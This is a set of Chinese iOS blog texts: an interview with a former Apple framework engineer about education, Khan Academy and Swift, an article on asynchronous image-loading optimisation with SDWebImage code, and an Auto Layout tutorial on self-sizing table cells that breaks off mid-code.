  恩，有很多方面可以来回答这个问题。我之前去了加利福尼亚理工学院，一所支持许多国家科学项目诸如NASA、DARPA以及诸如此类的学院。因此在那儿的讨论总是关于人性化影响。当时有一个NASA官员过来对我们说 是，你们是最棒和最聪明的。你们将进入世界上最好的研究性学院之一，而且你们将是享有特权的。所有对你们有益的机会都将开放给你们。现在，你们必须使用他们来创造价值，你们必须做一些有意义的事。”

      当我来到更广阔的软件社区时，我是少数几个毕业之后没有去做研究的人。我大学刚毕业那时候我想要做出点事儿，但我又失望于多数商业软件工程和销售的追求以及所产生的影响，所以关于在什么领域我能发挥所长我深思了很久。第一步显然是明确我的方向：「什么是影响、什么是有意义的」。那时我已经深受物理家David Deutsch的影响，通过他我确认了我想要走的方向：延伸人类知识和能力范围。之后我开始考虑对此我该怎么做。

      如果我们能活得更久，那我们对知识能触及得更远，因此在生物和化学工程方面有许多可能性。如果我们有更好的试验工具，我们也能走得更远——这也是为什么虚拟和合成的工具、虚拟现实以及人工智能领域如此吸引人。但是结合个人背景和机会，我认为在教育领域做一些贡献应当是我最明智的选择，因为如果我能创造终生学习的一代人，那么我们会影响并吸引更多人来解决这些问题。




所以你想要为下一代创造工具来学得更好，因此他们能够解决难题并不断前进？



  是，这是我的愿景。学习的一大挑战就是「元学习」（meta learning，即「学习如何学习」）。这种学习方式不会摧毁你的学习自信以及态度。如果我开发的工具能够使得毕业生们获得相同的数学成绩，与此同时他们对待数学有更好的态度和认知而且对在之后生活中学习数学这件事更感兴趣，那我就知足了。




因此你很明确地指出目前已有的中学和大学教育并不足够好，关于这点能否做详细的说明？



  是，他们不够好，而且从很多维度看他们都不够好。最重要一点就是大多数人没有办法接触到我刚刚所描述的那些机遇和资源，而这点恰恰是我认为当前要改进而且是首要的，这就是为什么人人都能免费受教育是当前的使命。可汗学院的使命实际上就是为人人创造世界一流的免费教育，因此当前我们首先关注人人都能免费受教育，其次再是世界一流的免费教育。但是说到第二点，所谓的「世界一流」定义我还保留意见。

      我有许多获得最好的教育经费并受指导于诺贝尔获奖者的同学，尽管如此，他们对于学习这件事依旧抱着糟糕的态度，而且心心念着一旦毕业就要结束学习。他们只想着赶快离开并找到稳定的工作，好在职场中让大脑停工，因为他们被体系搞得着实精疲力尽因此他们的好奇心和才智已经被严重破坏。




这可听起来真让人沮丧阿.......



  认同。我想你应该问过大多数人他们对于数学的观点，他们不是说「噢，数学真无聊」就是「我不擅长于数学，我不是个数学家」在科学学科方面，你得到的回应也会类似。但是如果你问人们关于文学的事情，或许他们会讨论一些自认为情节有趣的书籍，然而那也只是他们在学生时期常常阅读罢了，至于现在可能早已停止。因此我想我最希望推进的进步是改变所谓「教育在大学之后就结束」的固有观念，这不是真正意义上的科学难题，也是我某种程度上对于「软件工程师」这个标签有所犹豫的原因，确实软件工程是我专攻并积累经验的领域，但我追求的目标与志向并非这个方向。




伴随着「专注终身学习」这样一个宏大的计划，你是否有想过十年后的情况吗，你期望达成了什么目标？



  目前，标准的学习方法已经约定俗成。我的意思是你读一本教科书，那么你被动地要去吸收当中的知识；或者你看一段视频，还得看演讲类的内容。意味着如果你要学习，你得坐下来并进行吸收消化。或许之后你有钱了还可以来个对话交流什么的。在你毕业之后，你必须自己去创造这样的学习环境。

      对于所谓的「建构主义学习环境」我真的很好奇，这是几十年前的一位学问研究者帕波特定义的术语。在一个建构主义学习环境，学生自发性地创造知识，而不是一味地被动进行课本阅读和吸收。在这些模型中，更多的是一个环境被建构好，为了能理解一些知识，其特性将激励或要求你去熟练使用。

      帕波特研究的其中一个例子，他努力使用Logo语言进行关于抽象与程序化思维的教学，而不是编程本身。他还有一个教室里放着Logo turtle的标志，那时候还有一种机械海龟可以真的在纸上画画。所以教室周围挂满了机械海龟画的画，一些画上是源代码，一些不是。这些画也会随着时间因学生的更替而变换，比方说一个学说可能看到一朵花然后说：“哇，我喜欢这幅图，我能拥有它吗？”然后老师会说：“好呀，当然可以，不过你得先输入代码，海龟会照着代码画出这个图。”然后学生会说：“没问题。”接着他就开始作画。之后可能他会看上另外一幅画，但是那幅画没有源代码，那就只能自己想辙了。

      在建构主义学习环境中，设计其他图示也是为了要求学生进行创造前要先理解。因此，创造性环境就这样被塑造出来了。我正在研究而且很可能会研究很多年的假说，其实是允许人们自主创建知识，我想能看到这样的产出首先我会很高兴；其次，他们在「元认知」上也会大幅提高，在自我认知、学习态度以及学习兴趣上都会比其他同学高出不少。




除了以建构主义学习环境来鼓励大家更加主动学习之外，可汗学院与更传统的学习方式之间另一个主要区别在于人们能更自由地选择要学什么，什么时候学，你觉得这个改变有什么影响吗？



  另一个幼儿成长研究者 Piaget 在这方面有很多研究成果，他说青年思维开发阶段重要的事情之一就是自主性训练，而且这里的自主性相较我们平时讨论的又要宽泛很多。它不是指「我能自由地玩耍」而是指「我能对我生活中所有正在发生的事情做决定」。这其实和一些人总是提醒你要如何分配你的时间，强调行为规则的权威性是相悖的。打个比方，对于「Bobby玩游戏的时候作弊了」这件事不自主的回答就是「好，让我来和他说」，相反地，自主性的回答会是「那你和Bobby说了什么吗」。我想自主性的训练在各方面都很重要。有一些研究表明这会在短期内有更好的产出，但是我相信从长远来看这将引导出更优秀的思考者。

       我对于那些一整天的日程被安排满满的情况保持怀疑。如果教育者能够日复一日地，优化学生的学习环境来修正学习进度，我认为这反倒更加积极。再确切一些，比如我想与其把所有人类学知识的目录按重要程度进行分类一股脑给学生，倒不如把所有人类学知识看成一个书架，按难易程度由低到高进行排放。




那么在Apple工作的经历有没有什么让你怀念的？



  恩，我怀念那儿的人，这真的很重要。实际上这也是目前我对于这个行业真正感到失望的地方。那么多有才能的人被这些巨型公司套牢，而他们只是偶尔被良好利用，更多时候他们只是一台机器的齿轮，但他们的聪明才智完全能做更大更深远的影响。我不是说一定要来我的项目里干，而是更宽泛地。在情感角度，我会难过是因为我真的怀念他们，比方说怀念当时在NeXT的时候和那些经验丰富的同事共同激发出来的对话。然而我也希望他们的影响能够更加深远。




你能分享更多一些你在Apple的时光吗？开发一个能够被那么多人使用的框架是什么感觉？你又是如何从做游戏开始一步步完成那么多？



  填补这段差距的一个例子是我在16岁的时候完成的一个名叫Sparkle的框架。当时它教会我认识到框架开发的一些事实，换句话说当你修改大家正在用的API，他们就会生气。这是框架开发的事实之一，但坦诚来说其实我去Apple之前我不清楚自己在干嘛。我完成了学业，有了更大的野心，不过苹果看起来似乎是非常好的学习平台，它曾经是，它现在依旧是。因此我会对任何与我有相同抱负的人给予一样的建议。当时与我共事的同事都是有过十几年编译框架经验的人，我想我应该是团队中垫底的。没办法，我被逼着要快速的学习和理解许多在设计框架的时候所需要的独特的思考方式，特别是考虑框架中的二进制兼容，而先前的Sparkle并没有。幸运的是，我周围的每个人都很慷慨地付出时间与精力来指导我。在犯过许多许多错误之后，我终于明白了我都做了什么，而几年后当我离开，可能我再也用不到那些技术了。




开发这样大型规模的框架中，什么是最让人吃惊的？



  我想「二进制兼容」应当是我最吃惊的。当时我并没有理解当中的难点与复杂程度，你可以想象下：在iOS8里头按钮是白色背景，但在iOS7中，它是透明的。iOS8还没有被发布，所以这一定是我们的问题。于是你要开始一点点钻研，你意识到也许在iOS7中调用的方法是来控制这个的，但这个方法在iOS8中已经不调用了。为了去搞清楚到底怎么回事，我们要迅速去分解、辨析，发现这是第三方的代码同时我们还缺少源代码。

      大约一半的时间，一些人在做一些可耻的事情以求达到目的，而剩下一半时间我们要以非常规的行为来进行修改，因此我们有理由需要去增加防御措施。




这听起来有很多繁琐的工作...



  没错，就好像侦探的活儿一样。




听起来Peter Steinberger在走另一个方向，反汇编UIKit来修复错误。



  是阿，当然了。每次发布都很秘密以至于我们不能问：「嘿，Facebook的哥们儿，你为什么要这么做？」我们必须得自己搞清楚。在这一点上，我很敬佩Peter和他的团队做的事。我觉得那是很棒的事，也很想去看到更多这样的事。我很想的




我从来没想过Apple也要不得不去反汇编别人的二进制来分析错误。



  是阿，如同我现在作为第三方开发者，还是不得不经常反汇编UIKit。因为我就像这样：「UIKit，到底怎么回事儿？」那么获得答案的最简单方式就是分析反汇编。




去年有无数多新事物的出现，哪些会让你感觉很激动？你对Swift的出现感到激动吗？



  是，我得说它们确实让人激动。不过当我们谈论让我真正感到激动的东西，它并不再消费软件工程行业。但是就能帮助我完成工作的工具而言，我感到最兴奋的品类是真正的交互式原型工具，比如你要做以前从来不存在的工具，或者之前有过概念但是还没有工具能真正实现交互。所以我们大部分人依旧只在Photoshop中进行设计而已，当你在Photoshop中设计时，你创造的东西看起来就像是Photoshop的产物。我记得之前在Apple，我能看得出来自于Photoshop、After Effects还是现实模型的不同需求的区别，这之间有很大的区别。现在已经有一些工具能够实现这一点，我想它们都还没有绝对成熟完善，但我很热忱地关注着这些进步，也希望能有所贡献。




你是指像Farmer这样的工具吗？



  是阿，Farmer是一个非常不错的例子。我对刚被Google收购的Form很感兴趣，以及Origami，当然也很有趣。我在苹果参与了一个原型工具的内部项目，它再一些方面更好一些，在一些方面又稍逊一筹。每个工具都有它的优缺点。实际上我们还编排了一个关于「你可以用这个工具干这个，你可以用这个工具干那个」，后来我们发现我们不得不来回挑选。我感觉除非它们做已有工具在做的事情，否则它们并没有在其他方面有特别优秀的表现。




你觉得storyboards是不是也往这个方向发展？



  实际上我不这么看，但我得解释一下。关于交互，现在有离散模式和连续模式。像鼠标点击这一类交互就是离散模式的交互而手势这一类交互就是连续模式的交互。相似地，你的应用也有离散状态和连续状态。例如滚动就是连续的而导航堆栈中导航到其他层级就是离散的。

      Storyboards只允许你操作控制那个四方形中的离散部分，因此当你点击屏幕上的一个部位，你就能通过离散转换到完全不同的地方。但是我发现这是最没有意思的交互方式，坦诚来讲我认为我们的用户接口主要被那样的交互方式所控制是因为我们没有工具允许我们思考其他的交互方式。

      但是从iOS 7起，这种离散模式的边界也逐渐变得模糊。举个比方，点击一个单元格的时候能够展开单元格以下的内容。这是非常琐碎的例子，然而storyboard却很难呈现。




我们需要更多像Bret Victor这样的人来解决这类问题。



  确实，这也是为什么我希望少些人来做照片分享类的app。




你之前提到消费类软件工程不是你感兴趣的领域，那么这个领域之外你感兴趣的是？



  我读了不同领域的很多论文，至今我仍在思考这件事。就目前我最感兴趣的是幼儿成长或教育、教学模式。最让我激动的是我读到一篇调查，一个只有五岁孩子的班级，老师并没有进行常规的数学教学，而是通过不断改变的一系列活动来塑造学习环境进行施教，这些活动都是游戏。一年以后，他们的评估表明尽管他们没有受到正式的算术教学，但是他们都能答对问题而且具备优秀的认知。这件事真的让我非常激动。




所以你在可汗学院工作依赖，学到的最重要的事是什么？



  带团队可不容易…




为什么呢？



  这是一项我没有经验、且截然不同的技能。在软件行业里，我们总是让有所贡献的工程师去担当领导的角色，并期待他们能表现优异，显然这是截然不同的技能，因此我们必须要清楚这点并加以欣赏。这里头有很多学问。




你提到过你在Apple有很好的导师，是什么让他们如此优秀以及你又从他们那儿学到了什么？



  首先他们愿意慷慨地花之间来指导我。在Apple挑战总是无处不在，但Apple的问题在于它的文化并不看重导师的价值。没有奖励机制，而且指导和学习也没有融入到企业文化中。

      但不管怎样，我真的太幸运能有人愿意花很多时间来指导我，而且当我在项目中犯了极其严重的错误的时候他们也会花时间来指导我。那么，是什么提高了效率？应该是他们的经验吧。现在这个行业是个有趣的领域，因为这里充斥了应届生，也正是这些应届生在Twitter发声、在会议上演讲。但是这个行业的形成又不是这一时半刻，肯定有很多在这个领域具备15到20年专业经验的软件工程师，他们很少发声，甚至你很难督导他们的文章。因为他们被公司雪藏，因此他们不为人知，但他们肯定懂得很多。




在可汗学院，你与你的团队很快就适应了Swift，你能和我们分享一些经验吗？



  我们拥有20000行的Swift代码，以及每个项目都有四个开发者，都用Swift进行编译。所以那些问题或者我们称之为问题的东西实际上是实用主义与理想主义的冲突。我确信语言自身的问题只是暂时的，实际上它们并不会造成宏观层面的影响；对于你在六个月内做出的app来讲，这些问题同样不重要，因此尽管忽略我的抱怨。

      只要专业软件开发以及生态系统能够长期健康发展，我想这门语言会是非常卓越的贡献，而头几个月的跌跌撞撞根本不算什么。

      从积极的一面来说，Swift帮助我们写出更清晰的代码。这是我读Swift接口时感到最高兴的事。当我读Swift的block代码时，我对正在发生的以及即将发生的有了更清晰的理解。我可以看到返回值并且能从中理解更多。我能使用枚举法来更精准地为系统状态建模：更精确的是，我们可以使用值类型来约束、限制从属关系；更宽泛的是，我赞同把UIKit当做库而不是框架的模式。

      就问题而言，如果没有工具，工程师也没有去深入解析。实际上我恰巧觉得Swift开发团队是Apple里最棒的队伍，但是它还没完成。现在它都是bug，经常崩溃，时不时还产生错误的代码。更为要紧的是，它真的好慢，相当相当慢。对我而言，缺少增长式编译是目前最大的问题。我们构建一个有UI的应用，我们得花上与思考如何促进学习一样的时间来打磨应用的交互和动画。而且每次要花上将近两分钟的时间才能看到效果真的太伤了，这不仅效率低下，还挫败士气。每个人总是生气。更糟糕的是，它让我们变得懈怠。我们不再想去做改动，所以我丝毫不会惊讶于Swift实现的UI比Objective-C实现的UI效果更差，因为这上面的迭代简直让人抓狂。但这是暂时的，其实我丝毫不担心。他们清楚这些问题而且会去修复。只是我们没有办法很好地管理预期，不是出于恶意地，但是我确实觉得苹果之前不了解这些问题而且没有做过这么大型东西的经验。




你觉得Swift会对Apple框架的API带来什么样的影响？短期内你期待会有什么变化吗？



  显然实际上我没有什么内部确切信息，我也只是猜测而已，但我想这会是个长期公称。至少当我在苹果的时候，团队花了大把时间来支持诸如新屏幕尺寸或者新硬件的市场需求，而不是维护和提升现有框架。那些工作已经花了大把时间了，所以做任何重要举动时都要慎重考虑，所以我不认为这会很快就来。

      我认为我们快进到未来的十年后，API将会完全不一样。我坚信这会实现，否则会让人极其失望。即使是一年以后，我想你们也一定能拿到更优注释的头文件。




或者我们能有像Reactive Cocoa那样的人，把它包装地更好看一些？



  没错，短时间内一定会有的。Facebook现在就在做他们的组件项目（Component project），不过这不是Swift，是C++，我觉得这很勇敢，想法很赞。React是很不错的设计。而我对苹果的怨言之一也正在此，因为苹果的文化不评估学习的价值，因此没有人阅读。我其实是借鉴当科学家讨论阅读时他们所表达的意思。现在没有人读刊物，没有人读报纸，没有人知道外面在发生什么。正如人们不知道React以及诸如此类的东西，这可真让人沮丧阿。

      不管怎样，我认为它们都是非常赞的事物而且我坚信会有人把UIKit以及其他框架当做库来对待并把它们包装得更好。然而，除非苹果亲自来做，否则不会被良好的适应，它们会总是落后并且感觉很不匹配。




自打你离开苹果后，你也完成了更多写作与演讲方面的事。除此之外你还有什么其他的计划吗？



  基本上还是那样。我希望可以发布更多开源的东西，过去我在这上头有过教训。不过相当有趣的是，当你发布开源项时，人们还期望你能维护它。我想我们对大众对开源软件的期待没有明确的约定。有一些开源软件有自身的社区能被很好地维护，而有一些开源软件仅是作为教育或兴趣的目的被分享，就没有被真正地维护。至于我，基本上只有精力做到后者，因为，坦诚来说，软件工程目前不是我感兴趣的，要努力解决问题的部分。




（完）


 iOS 异步图片加载优化与常用开源库分析
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1. 网络图片显示大体步骤:



	下载图片

	图片处理（裁剪，边框等)

	写入磁盘

	从磁盘读取数据到内核缓冲区

	从内核缓冲区复制到用户空间(内存级别拷贝)

	解压缩为位图（耗cpu较高）

	如果位图数据不是字节对齐的，CoreAnimation会copy一份位图数据并进行字节对齐

	
CoreAnimation渲染解压缩过的位图




  以上4，5，6，7，8步是在UIImageView的setImage时进行的，所以默认在主线程进行(iOS UI操作必须在主线程执行)。




2. 一些优化思路：



	异步下载图片

	image解压缩放到子线程

	使用缓存 (包括内存级别和磁盘级别)

	存储解压缩后的图片，避免下次从磁盘加载的时候再次解压缩

	减少内存级别的拷贝 （针对第5点和第7点）

	良好的接口（比如SDWebImage使用category）

	
Core Data vs  文件存储


	图片预下载



2.1 关于异步图片下载:


fastImageCache主要针对于从磁盘文件读取并展示图片的极端优化，所以并没有集成异步图片下载的功能。这里主要来看看SDWebImage(AFNetWorking的基本类似)的实现方案：


tableView中，异步图片下载任务的管理:


我们知道，tableViewCell是有重用机制的，也就是说，内存中只有当前可见的cell数目的实例，滑动的时候，新显示cell会重用被滑出的cell对象。这样就存在一个问题：


一般情况下在我们会在cellForRow方法里面设置cell的图片数据源，也就是说如果一个cell的imageview对象开启了一个下载任务，这个时候该cell对象发生了重用，新的image数据源会开启另外的一个下载任务，由于他们关联的imageview对象实际上是同一个cell实例的imageview对象，就会发生2个下载任务回调给同一个imageview对象。这个时候就有必要做一些处理，避免回调发生时，错误的image数据源刷新了UI。


SDWebImage提供的UIImageView扩展的解决方案：


imageView对象会关联一个下载列表（列表是给AnimationImages用的，这个时候会下载多张图片），当tableview滑动，imageView重设数据源（url）时，会cancel掉下载列表中所有的任务，然后开启一个新的下载任务。这样子就保证了只有当前可见的cell对象的imageView对象关联的下载任务能够回调，不会发生image错乱。


同时，SDWebImage管理了一个全局下载队列（在DownloadManager中）,并发量设置为6.也就是说如果可见cell的数目是大于6的，就会有部分下载队列处于等待状态。而且，在添加下载任务到全局的下载队列中去的时候，SDWebImage默认是采取LIFO策略的，具体是在添加下载任务的时候，将上次添加的下载任务添加依赖为新添加的下载任务。


        [wself.downloadQueue addOperation:operation];
        if (wself.executionOrder == SDWebImageDownloaderLIFOExecutionOrder) {
            // Emulate LIFO execution order by systematically adding new operations as last operation's dependency
            [wself.lastAddedOperation addDependency:operation];
            wself.lastAddedOperation = operation;
        }





另外一种解决方案是：


imageView对象和图片的url相关联，在滑动时，不取消旧的下载任务，而是在下载任务完成回调时，进行url匹配，只有匹配成功的image会刷新imageView对象，而其他的image则只做缓存操作，而不刷新UI。


同时，仍然管理一个执行队列，为了避免占用太多的资源，通常会对执行队列设置一个最大的并发量。此外，为了保证LIFO的下载策略，可以自己维持一个等待队列，每次下载任务开始的时候，将后进入的下载任务插入到等待队列的前面。


iOS异步任务一般有3种实现方式:



	NSOperationQueue

	GCD

	NSThread



这几种方式就不细说了，SDWebImage是通过自定义NSOperation来抽象下载任务的，并结合了GCD来做一些主线程与子线程的切换。具体异步下载的实现，AFNetworking与SDWebImage都是十分优秀的代码，有兴趣的可以深入看看源码。


2.2 关于图片解压缩:




通用的解压缩方案



  主体的思路是在子线程，将原始的图片渲染成一张的新的可以字节显示的图片，来获取一个解压缩过的图片。




基本上比较流行的一些开源库都先后支持了在异步线程完成图片的解压缩，并对解压缩过后的图片进行缓存。


这么做的优点是在setImage的时候系统省去了上面的第6步，缺点就是图片占用的空间变大。

比如1张50*50像素的图片，在retina的屏幕下所占用的空间为100*100*4 ~ 40KB


下面的代码是SDWebImage的解决方案:


+ (UIImage *)decodedImageWithImage:(UIImage *)image {
    if (image.images) {
        // Do not decode animated images
        return image;
    }

    CGImageRef imageRef = image.CGImage;
    CGSize imageSize = CGSizeMake(CGImageGetWidth(imageRef), CGImageGetHeight(imageRef));
    CGRect imageRect = (CGRect){.origin = CGPointZero, .size = imageSize};

    CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
    CGBitmapInfo bitmapInfo = CGImageGetBitmapInfo(imageRef);

    int infoMask = (bitmapInfo & kCGBitmapAlphaInfoMask);
    BOOL anyNonAlpha = (infoMask == kCGImageAlphaNone ||
            infoMask == kCGImageAlphaNoneSkipFirst ||
            infoMask == kCGImageAlphaNoneSkipLast);

    // CGBitmapContextCreate doesn't support kCGImageAlphaNone with RGB.
    // https://developer.apple.com/library/mac/#qa/qa1037/_index.html
    if (infoMask == kCGImageAlphaNone && CGColorSpaceGetNumberOfComponents(colorSpace) > 1) {
        // Unset the old alpha info.
        bitmapInfo &= ~kCGBitmapAlphaInfoMask;

        // Set noneSkipFirst.
        bitmapInfo |= kCGImageAlphaNoneSkipFirst;
    }
            // Some PNGs tell us they have alpha but only 3 components. Odd.
    else if (!anyNonAlpha && CGColorSpaceGetNumberOfComponents(colorSpace) == 3) {
        // Unset the old alpha info.
        bitmapInfo &= ~kCGBitmapAlphaInfoMask;
        bitmapInfo |= kCGImageAlphaPremultipliedFirst;
    }

    // It calculates the bytes-per-row based on the bitsPerComponent and width arguments.
    CGContextRef context = CGBitmapContextCreate(NULL,
            imageSize.width,
            imageSize.height,
            CGImageGetBitsPerComponent(imageRef),
            0,
            colorSpace,
            bitmapInfo);
    CGColorSpaceRelease(colorSpace);

    // If failed, return undecompressed image
    if (!context) return image;

    CGContextDrawImage(context, imageRect, imageRef);
    CGImageRef decompressedImageRef = CGBitmapContextCreateImage(context);

    CGContextRelease(context);

    UIImage *decompressedImage = [UIImage imageWithCGImage:decompressedImageRef scale:image.scale orientation:image.imageOrientation];
    CGImageRelease(decompressedImageRef);
    return decompressedImage;
}




2.3 关于字节对齐


SDWebImage与AFNetworking都没有对第7点做优化，FastImageCache相对与其他的开源库，则对第5点与第7点做了优化。这里我们谈谈第七点，关于图片数据的字节对齐。



  Core Animation在某些情况下渲染前会先拷贝一份图像数据，通常是在图像数据非字节对齐的情况下会进行拷贝处理，官方文档没有对这次拷贝行为作说明，模拟器和Instrument里有高亮显示“copied images”的功能，但似乎它有bug，即使某张图片没有被高亮显示出渲染时被copy，从调用堆栈上也还是能看到调用了CA::Render::copy_image方法：





  那什么是字节对齐呢，按我的理解，为了性能，底层渲染图像时不是一个像素一个像素渲染，而是一块一块渲染，数据是一块块地取，就可能遇到这一块连续的内存数据里结尾的数据不是图像的内容，是内存里其他的数据，可能越界读取导致一些奇怪的东西混入，所以在渲染之前CoreAnimation要把数据拷贝一份进行处理，确保每一块都是图像数据，对于不足一块的数据置空。大致图示：(pixel是图像像素数据，data是内存里其他数据)





  块的大小应该是跟CPU cache line有关，ARMv7是32byte，A9是64byte，在A9下CoreAnimation应该是按64byte作为一块数据去读取和渲染，让图像数据对齐64byte就可以避免CoreAnimation再拷贝一份数据进行修补。FastImageCache做的字节对齐就是这个事情。







从代码上来看，主要是在创建上图解码的过程中，CGBitmapContextCreate函数的bytesPerRow参数必须传64的倍数。


比较各个开源框架的代码，可以看到SDWebImage与AFNetworking的该参数都传的是0，即让系统自动来计算该值（那为何系统自动计算的时候不让图片数据字节就字节对齐呢？）。


2.4 关于第3，4点，内存级别拷贝


以上3个开源库中，FastImageCache对这一点做了很大的优化，其他的2个开源库则未关注这一点。这一块木有深入研究，就引用一下FastImageCache团队对该点的一些说明。有能力的可以去看看原文章(英文):here。



  内存映射

  平常我们读取磁盘上的一个文件，上层API调用到最后会使用系统方法read()读取数据，内核把磁盘数据读入内核缓冲区，用户再从内核缓冲区读取数据复制到用户内存空间，这里有一次内存拷贝的时间消耗，并且读取后整个文件数据就已经存在于用户内存中，占用了进程的内存空间。





  FastImageCache采用了另一种读写文件的方法，就是用mmap把文件映射到用户空间里的虚拟内存，文件中的位置在虚拟内存中有了对应的地址，可以像操作内存一样操作这个文件，相当于已经把整个文件放入内存，但在真正使用到这些数据前却不会消耗物理内存，也不会有读写磁盘的操作，只有真正使用这些数据时，也就是图像准备渲染在屏幕上时，虚拟内存管理系统VMS才根据缺页加载的机制从磁盘加载对应的数据块到物理内存，再进行渲染。这样的文件读写文件方式少了数据从内核缓存到用户空间的拷贝，效率很高。




2.5 关于第二步图片处理（裁剪，边框等）


一般情况下，对于下载下来的图片我们可能想要做一些处理，比如说做一些缩放，裁剪，或者添加圆角等等。


对于比较通用的缩放，或者圆角等功能，可以集成到控件本身。不过，提供一个接口出来，让使用者能够有机会对下载下来的图片做一些其他的特殊处理是有必要的。


/** SDWebImage
 * Allows to transform the image immediately after it has been downloaded and just before to cache it on disk and memory.
 * NOTE: This method is called from a global queue in order to not to block the main thread.
 *
 * @param imageManager The current `SDWebImageManager`
 * @param image        The image to transform
 * @param imageURL     The url of the image to transform
 *
 * @return The transformed image object.
 */
- (UIImage *)imageManager:(SDWebImageManager *)imageManager transformDownloadedImage:(UIImage *)image withURL:(NSURL *)imageURL;



2.6 其他（诸如图片预下载，gif支持等等,下载进度条）


待补充


3. 常用的开源库对比




	tip
  	SDWebImage
  	AFNetworking
  	FastImageCache





	异步下载图片
  	YES
  	YES
  	NO



	子线程解压缩
  	YES
  	YES
  	YES



	子线程图片处理(缩放，圆角等)
  	YES
  	YES
  	YES



	存储解压缩后的位图
  	YES
  	YES
  	YES



	内存级别缓存
  	YES
  	YES
  	YES



	磁盘级别缓存
  	YES
  	YES
  	YES



	UIImageView category
  	YES
  	NO
  	NO



	减少内存级别的拷贝
  	NO
  	NO
  	YES



	接口易用性
  	***
  	***
  	*





参考资料



	
FastImageCache-github  

	SDWebImage-github

	
AFNetworking-github 

	
File System vs Core Data: the image cache test  

	
iOS image caching. Libraries benchmark (SDWebImage vs FastImageCache)  

	Avoiding Image Decompression Sickness

	iOS图片加载速度极限优化—FastImageCache解析





转载请注明出处哦，我的博客: luoyibu


 Auto Layout 使用心得（五）—— 根据文字、图片自动计算 UITableViewCell 高度

作者：JohnLui

来源： Auto Layout 使用心得（五）—— 根据文字、图片自动计算 UITableViewCell 高度



                    


原文发表在我的个人网站：Auto Layout 使用心得（五）—— 根据文字、图片自动计算 UITableViewCell 高度





  此系列文章代码仓库在 https://github.com/johnlui/AutoLayout ，有不明白的地方可以参考我的 Auto Layout 设置哦，下载到本地打开就可以了。




简介


本文中，我们将一起使用 Auto Layout 技术，让 UITableViewCell 的高度随其内部的 UILabel 和 UIImageView 的内容自动变化。


搭建界面


恢复之前删除的按钮


放置一个按钮，恢复到 firstTableViewController 的连接：





别忘了添加约束让他居中哦。


修改 firstTableViewCell


将 firstTableViewCell 的尺寸设置为 600 * 81，将 logo 的尺寸设置为 80 * 80。将 logo 的约束修改为如下图所示：





修改 label 的尺寸和位置，添加约束如下图：





给 ViewController 增加 UINavigationController 嵌套


为了便于返回。操作如下图：





查看结果





根据 label 自动计算 firstTableViewCell 高度


选中 label，设置 lines 行数为 0，表示不限长度自动折行：





修改 label 的文字内容让其超出一行：


swiftimport UIKit

class firstTableViewController: UITableViewController {

    var labelArray = Array<String>() // 用于存储 label 文字内容

    override func viewDidLoad() {
        super.viewDidLoad()

        var nib = UINib(nibName: "firstTableViewCell", bundle: nil)
        self.tableView.registerNib(nib, forCellReuseIdentifier: "firstTableViewCell")

        // 循环生成 label 文字内容
        for i in 1...10 {
            var text = ""
            for j in 1...i {
                text += "Auto Layout"
            }
            labelArray.append(text)
        }
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
    }

    // MARK: - Table view data source

    override func tableView(tableView: UITableView, heightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
        return 50
    }
    override func numberOfSectionsInTableView(tableView: UITableView) -> Int {
        return 1
    }

    override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        return labelArray.count
    }

    override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
        let cell = tableView.dequeueReusableCellWithIdentifier("firstTableViewCell", forIndexPath: indexPath) as! firstTableViewCell

        cell.firstLabel.text = labelArray[indexPath.row]

        return cell
    }
}



现在到了最关键的时刻，驱动 UITableViewCell 适应 Label 内容：


1. 使用 estimatedHeightForRowAtIndexPath 替代 heightForRowAtIndexPath


estimatedHeightForRowAtIndexPath 是 iOS 7 推出的新 API。如果列表行数有一万行，那么 heightForRowAtIndexPath 就会在列表显示之前计算一万次，而 estimatedHeightForRowAtIndexPath 只会计算当前屏幕中显示着的几行，会大大提高数据量很大时候的性能。


2. 新建一个 prototypeCell 成员变量以复用，并在 viewDidLoad 中初始化


swiftclass firstTableViewController: UITableViewController {

    var labelArray = Array<String>() // 用于存储 label 文字内容

    var prototypeCell: firstTableViewCell!

    override func viewDidLoad() {
        super.viewDidLoad()

        var nib = UINib(nibName: "firstTableViewCell", bundle: nil)
        self.tableView.registerNib(nib, forCellReuseIdentifier: "firstTableViewCell")

        // 初始化 prototypeCell 以便复用
        prototypeCell = tableView.dequeueReusableCellWithIdentifier("firstTableViewCell") as! firstTableViewCell

......



3. 计算出高度


swiftoverride func tableView(tableView: UITableView, estimatedHeightForRowAtIndexPath indexPath: NSIndexPath) -> CGFloat {
    let cell = prototypeCell
    cell.firstLabel.text = labelArray[indexPath.row]
    return cell.contentView.systemLayoutSizeFittingSize(UILayoutFittingCompressedSize).height + 1
}



4. 查看效果





超级大坑


上面让 firstTableViewCell 根据 label 自动计算高度的过程中，有一个超级大坑：如果给左侧 UIImageView 赋的图片较大（大于 80px），将看到如下奇怪的结果：





这只是因为图片把 UITableViewCell 撑大了，并不是我们的计算没有效果。


解决大坑：进攻是最好的防守！根据图片自动计算 firstTableViewCell 高度


首先，把图片的渲染模式改成 Aspect Fit：





给 Images.xcassets 增加三张图片，命名为 0、1、2，尺寸从小到大：





给 cellForRowAtIndexPath 增加代码：


swiftif indexPath.row < 3 {
    cell.logoImageView.image = UIImage(named: indexPath.row.description)
}



查看效果：





前两个 cell 看起来比较正常，第三个为什么多出了那么多空白？这就是使用 Auto Layout 限制图片宽度为 80px 的原生问题：宽度虽然限制了，高度却依然是原图的高度。解决办法也很简单：如果图片宽度大于 80px，就重绘一张 80px 宽度的图片填充进去。


新建一个 Group（虚拟文件夹），叫 Extensions，并在其内部新建 UIImage.swift 文件，内容如下：


swiftimport UIKit

extension UIImage {
    func resizeToSize(size: CGSize) -> UIImage {
        UIGraphicsBeginImageContext(size)
        self.drawInRect(CGRectMake(0, 0, size.width, size.height))
        let newImage = UIGraphicsGetImageFromCurrentImageContext()
        UIGraphicsEndImageContext()

        return newImage
    }
}



给 UIImage 类扩展了一个名为 resizeToSize 的方法，返回一个按照要求的大小重绘过的 UIImage 对象。修改 cellForRowAtIndexPath 的代码为：


swiftoverride func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {
    let cell = tableView.dequeueReusableCellWithIdentifier("firstTableViewCell", forIndexPath: indexPath) as! firstTableViewCell

